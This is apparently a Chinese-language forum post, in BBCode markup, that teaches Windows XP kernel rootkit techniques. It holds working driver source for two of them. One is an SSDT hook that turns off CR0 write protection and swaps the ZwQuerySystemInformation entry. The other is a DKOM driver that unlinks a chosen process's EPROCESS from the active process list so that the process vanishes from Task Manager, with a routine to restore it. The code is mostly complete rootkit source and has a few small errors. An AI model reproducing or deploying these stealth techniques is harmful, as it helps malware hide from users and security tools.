[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]and [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], not [/FONT][/COLOR][COLOR=#808080][FONT=Times]10000h[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#808000][FONT=Times]) [/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]KeServiceDescriptorTable[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ServiceTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times][ *([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#808000][FONT=Times])(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PUCHAR[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times] )] = [/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]OldZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]__asm[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]回复内存保护[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]or  [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#808080][FONT=Times]10000h[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]sti[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "UnHook SucessFul! \n" );[/FONT][/COLOR]
 
 
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
 
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]DriverEntry( [/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PDRIVER_OBJECT[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]DriverObject[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PUNICODE_STRING[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]RegistryPath[/FONT][/COLOR]
[COLOR=#808000][FONT=Times])[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]DriverObject[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]DriverUnload[/FONT][/COLOR][COLOR=#808000][FONT=Times]  = OnUnload; [/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]OldZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]KeServiceDescriptorTable[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ServiceTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times][ *([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#808000][FONT=Times])(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PUCHAR[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]) ];[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Hook Start ! \n" );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]__asm[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]去掉内存保护[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]cli[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]and [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], not [/FONT][/COLOR][COLOR=#808080][FONT=Times]10000h[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]KeServiceDescriptorTable[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ServiceTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times][ *([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#808000][FONT=Times])(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PUCHAR[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times] )] = [/FONT][/COLOR]
[COLOR=#808000][FONT=Times]NewZwQuerySystemInformation;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]__asm[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]回复内存保护[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]or  [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#808080][FONT=Times]10000h[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]sti[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Hook SucessFul! \n" );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]STATUS_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]

什么?眼熟?本来嘛书上的,(天下代码一大抄!关键是抄的妙不妙)
第三种DKOM摘链:
详见书的第七章DKOM
原理就是系统中的每个进程都对应一个EPROCESS结构体,
这是我的机子上的Xp-sp2
lkd> dt _EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : Ptr32 Void
+0x088 ActiveProcessLinks : _LIST_ENTRY
这只是其中的一部分,UniqueProcessId参数是进程的ID,ActiveProcessLinks这个是一个双向链表分别指向了前一个进程和后一个进程的ActiveProcessLinks.这样就把所有的进程连成一个双向的链表,可以方便的查询进程的任何信息.
lkd> dt _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
隐藏进程的原理就是按照进程的ID找到进程的EPROCESS然后将样隐藏的进程的EPROCESS在链表中移除!详图看书
下面的例子没写和ring3中的程序通讯为了简单就只是在任务管理器中找了个PID隐藏了
[COLOR=#0000ff][FONT=Times]#include [/FONT][/COLOR][COLOR=#808000][FONT=Times]<ntddk.h>[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]#include [/FONT][/COLOR][COLOR=#808000][FONT=Times]<windef.h>[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]我的是XP-SP2别的系统用WinDbg看一下EPROCESS的结构就行了[/FONT][/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]#define [/FONT][/COLOR][COLOR=#808000][FONT=Times]PIDOFFSET[/FONT][/COLOR][COLOR=#808080][FONT=Times]0x84[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]#define [/FONT][/COLOR][COLOR=#808000][FONT=Times]FLINKOFFSET[/FONT][/COLOR][COLOR=#808080][FONT=Times]0x88[/FONT][/COLOR]
 
[COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times] pList_Org;[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//根据PID[FONT=宋体]得到进程的EPROCESS[/FONT][/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times] FindProcessEPROCByID( int nPID )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times]     = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0x00000000[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]要返回的EPROCESS结构的地址[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]int[/FONT][/COLOR][COLOR=#808000][FONT=Times]nCurrentPID  = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]int[/FONT][/COLOR][COLOR=#808000][FONT=Times]nStartPID    = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]起始ID[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]int[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]nCount[/FONT][/COLOR][COLOR=#808000][FONT=Times]     = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]pList_Current;[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]当前线程的双链[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times] == nPID )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times]    = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#a000a0][FONT=Times]PsGetCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]();[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]nStartPID   = *( ( int* )( dwEProc + PIDOFFSET ) );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]nCurrentPID = nStartPID;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]while( [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]TRUE[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( nPID == nCurrentPID )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return dwEProc;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else if ( ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]nCount[/FONT][/COLOR][COLOR=#808000][FONT=Times] > [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) && ( nStartPID == nCurrentPID) )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#808080][FONT=Times]0x00000000[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pList_Current = ( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times] )( dwEProc + FLINKOFFSET );[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]当前进程的LIST_ENTRY[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times]      = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]得到下一个进程的LIST_ENTRY地址[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times]      = dwEProc - FLINKOFFSET;[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]得到当前进程的EPROCESS[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]nCurrentPID   = *( (int*)( dwEProc + PIDOFFSET ) );[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]得到下一个进程的PID[/FONT][/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]nCount[/FONT][/COLOR][COLOR=#808000][FONT=Times]++;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]隐藏进程函数[/FONT][/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] HideProcess( )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times] dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times]= [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times] pList_Current;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times][COLOR=#008000][FONT=Times]//[FONT=宋体]这里的1816就是在任务管理器中随便找的![/FONT][/FONT][/COLOR][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times]= FindProcessEPROCByID( [/FONT][/COLOR][COLOR=#808080][FONT=Times]1816[/FONT][/COLOR][COLOR=#808000][FONT=Times] );[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]没有的到地址[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( dwEProc == [/FONT][/COLOR][COLOR=#808080][FONT=Times]0x00000000[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]STATUS_INVALID_PARAMETER[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
 
[COLOR=#808000][FONT=Times]pList_Current = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times])( dwEProc + FLINKOFFSET );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pList_Org = pList_Current;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]*( ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Blink[/FONT][/COLOR][COLOR=#808000][FONT=Times] )     = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]*( ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Blink[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times])&( pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Blink[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times])&( pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]STATUS_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]驱动卸载[/FONT][/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] OnUnload( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PDRIVER_OBJECT[/FONT][/COLOR][COLOR=#808000][FONT=Times] pDriverObj )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Driver OnUnload! \n " )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]STATUS_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]// [FONT=宋体]驱动加载[/FONT][/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] DriverEntry( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PDRIVER_OBJECT[/FONT][/COLOR][COLOR=#808000][FONT=Times] pDriverObj, [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PUNICODE_STRING[/FONT][/COLOR][COLOR=#808000][FONT=Times] pRegistryString)[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] ntStatus;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pDriverObj->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]DriverUnload[/FONT][/COLOR][COLOR=#808000][FONT=Times] = OnUnload;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]ntStatus = HideProcess();[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return ntStatus;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]

我想现在已经把进程的EPROCESS结构在链表中移除了,为了驱动的完整性我们驱动卸载的时候再把进程的EPROCESS进程插进去呢!
随之又编写了一个还原函数
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#ff8000][FONT=Times]Restore[/FONT][/COLOR][COLOR=#808000][FONT=Times]()[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]在当前进程处插入[/FONT][/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times]= [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pList_Current[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times]= ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#a000a0][FONT=Times]PsGetCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]();[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]*( ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pList_Org[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR][COLOR=#808000][FONT=Times]           = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pList_Current[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]*( ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pList_Org[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Blink[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR][COLOR=#808000][FONT=Times]           = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pList_Current[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]*( ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pList_Current[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times])     = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pList_Org[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]*( ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pList_Current[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] )        = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pList_Org[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Restore SucessFul! \n" );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]STATUS_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]

pLink_Org是一个全局变量用于保存进程的PLIST_ENTRY上面的代码已经定义并赋值了
